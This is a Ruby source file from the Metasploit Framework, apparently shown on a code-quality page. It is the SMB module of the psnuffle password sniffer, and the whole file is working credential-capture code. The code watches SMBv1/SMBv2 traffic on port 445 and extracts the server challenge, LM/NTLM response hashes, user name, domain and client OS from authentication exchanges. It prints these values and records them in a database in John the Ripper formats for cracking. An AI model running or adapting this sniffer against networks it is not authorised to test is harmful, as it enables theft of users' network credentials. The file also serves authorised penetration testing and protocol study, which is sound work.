rapid7/metasploit-framework

View on GitHub
data/exploits/psnuffle/smb.rb

Summary

Maintainability
D
2 days
Test Coverage
# Psnuffle password sniffer add-on class for smb
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
#

#Memo :
#FOR SMBV1
  # Authentification without extended security set
    #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec  =  0
    #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec  =  0 and contains server challenge (aka encryption key) and wordcount = 17
    #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
    #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok

  # Authentification with extended security set
    #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec  =  1
    #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec  =  1
    #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
    #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
    #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
    #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
  #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response

class SnifferSMB < BaseProtocolParser

  def register_sigs
    self.sigs = {
      :smb1_negotiate        => /\xffSMB\x72/n,
      :smb1_setupandx        => /\xffSMB\x73/n,
      #:smb2_negotiate    => /\xFESMB\x40\x00(.){6}\x00\x00/n,
      :smb2_setupandx        => /\xFESMB\x40\x00(.){6}\x01\x00/n
    }
  end

  def parse(pkt)
    # We want to return immediatly if we do not have a packet which is handled by us
    return unless pkt.is_tcp?
    return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445)
    s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt))

    self.sigs.each_key do |k|
      # There is only one pattern per run to test
      matched = nil
      matches = nil

      if(pkt.payload =~ self.sigs[k])
        matched = k
        matches = $1
      end

      case matched
      when :smb1_negotiate
        payload = pkt.payload.dup
        wordcount = payload[36,1].unpack("C")[0]
        #negotiate response
        if wordcount == 17
          flags2 = payload[14,2].unpack("v")[0]
          #the server challenge is here
          if flags2 & 0x800 == 0
            s[:challenge] = payload[73,8].unpack("H*")[0]
            s[:last]  = :smb1_negotiate
          end
        end

      when :smb1_setupandx
        s[:smb_version]  = "SMBv1"
        parse_sessionsetup(pkt, s)
      when :smb2_setupandx
        s[:smb_version]  = "SMBv2"
        parse_sessionsetup(pkt, s)
      when nil
        # No matches, no saved state
      else
        sessions[s[:session]].merge!({k => matches})
      end # end case matched

    end # end of each_key
  end # end of parse

  #ntlmv1, ntlmv2 or ntlm2_session
  def detect_ntlm_ver(lmhash, ntlmhash)
    return "NTLMv2" if ntlmhash.length > 48
    if lmhash.length == 48 and ntlmhash.length == 48
      if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
        return "NTLM2_SESSION"
      else
        return "NTLMv1"
      end
    else
      raise RuntimeError, "Unknown hash type"
    end
  end

  def parse_sessionsetup(pkt, s)
    payload = pkt.payload.dup
    ntlmpayload = payload[/NTLMSSP\x00.*/m]
    if ntlmpayload
      ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
      case ntlmmessagetype
      when 2 # challenge
        s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
        s[:last] = :ntlm_type2
      when 3 # auth
        if s[:last] == :ntlm_type2
          lmlength =     ntlmpayload[12, 2].unpack("v")[0]
          lmoffset =     ntlmpayload[16, 2].unpack("v")[0]
          ntlmlength =     ntlmpayload[20, 2].unpack("v")[0]
          ntlmoffset =     ntlmpayload[24, 2].unpack("v")[0]
          domainlength =     ntlmpayload[28, 2].unpack("v")[0]
          domainoffset =     ntlmpayload[32, 2].unpack("v")[0]
          usrlength =     ntlmpayload[36, 2].unpack("v")[0]
          usroffset =     ntlmpayload[40, 2].unpack("v")[0]

          s[:lmhash] =     ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
          s[:ntlmhash] =      ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
          s[:domain] =    ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
          s[:user] =        ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''

          secbloblength = payload[51,2].unpack("v")[0]
          names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
          s[:peer_os]   = names[0] || ''
          s[:peer_lm]   = names[1] || ''
          s[:last] = :ntlm_type3
        end
      end
    else
      wordcount = payload[36,1].unpack("C")[0]
      #authentification without smb extended security (smbmount, msf server capture)
      if wordcount == 13 and s[:last]  == :smb1_negotiate and s[:smb_version]  == "SMBv1"
        lmlength =     payload[51,2].unpack("v")[0]
        ntlmlength =     payload[53,2].unpack("v")[0]
        s[:lmhash] =     payload[65,lmlength].unpack("H*")[0]
        s[:ntlmhash] =  payload[65 + lmlength, ntlmlength].unpack("H*")[0]

        names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

        s[:user] = names[0]
        s[:domain]   = names[1]
        s[:peer_os]   = names[2]
        s[:peer_lm]   = names[3]
        s[:last] = :smb_no_ntlm
      else
        #answer from server
        if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
          #do not output anonymous/guest logging
          unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
            #set lmhash to a default value if not provided
            s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
            s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]

            smb_status = payload[9,4].unpack("V")[0]
            if smb_status == 0 # success

              ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])

              logmessage =
                "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
                "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
                "SERVER CHALLENGE:#{s[:challenge]} " +
                "\nLMHASH:#{s[:lmhash]} " +
                "\nNTHASH:#{s[:ntlmhash]}\n"
              print_status(logmessage)

              src_ip = s[:client_host]
              dst_ip = s[:host]
              smb_db_type_hash = case ntlm_ver
                     when "NTLMv1"         then "netntlm"
                     when "NTLM2_SESSION"     then "netntlm"
                     when "NTLMv2"         then "netntlmv2"
                     end
              # DB reporting
              report_cred(
                :ip  => dst_ip,
                :port => s[:port],
                :service_name => 'smb',
                :user => s[:user],
                :password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
                :type => :nonreplayable_hash,
                :jtr_format => smb_db_type_hash,
                :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
                :status => Metasploit::Model::Login::Status::SUCCESSFUL
              )

              report_note(
                :host  => src_ip,
                :type  => "smb_peer_os",
                :data  => s[:peer_os]
              ) if (s[:peer_os] and s[:peer_os].strip.length > 0)

              report_note(
                :host  => src_ip,
                :type  => "smb_peer_lm",
                :data  => s[:peer_lm]
              ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)

              report_note(
                :host  => src_ip,
                :type  => "smb_domain",
                :data  => s[:domain]
              ) if (s[:domain] and s[:domain].strip.length > 0)

            end
          end
        end
        s[:last] = nil
        sessions.delete(s[:session])
      end
    end
  end
end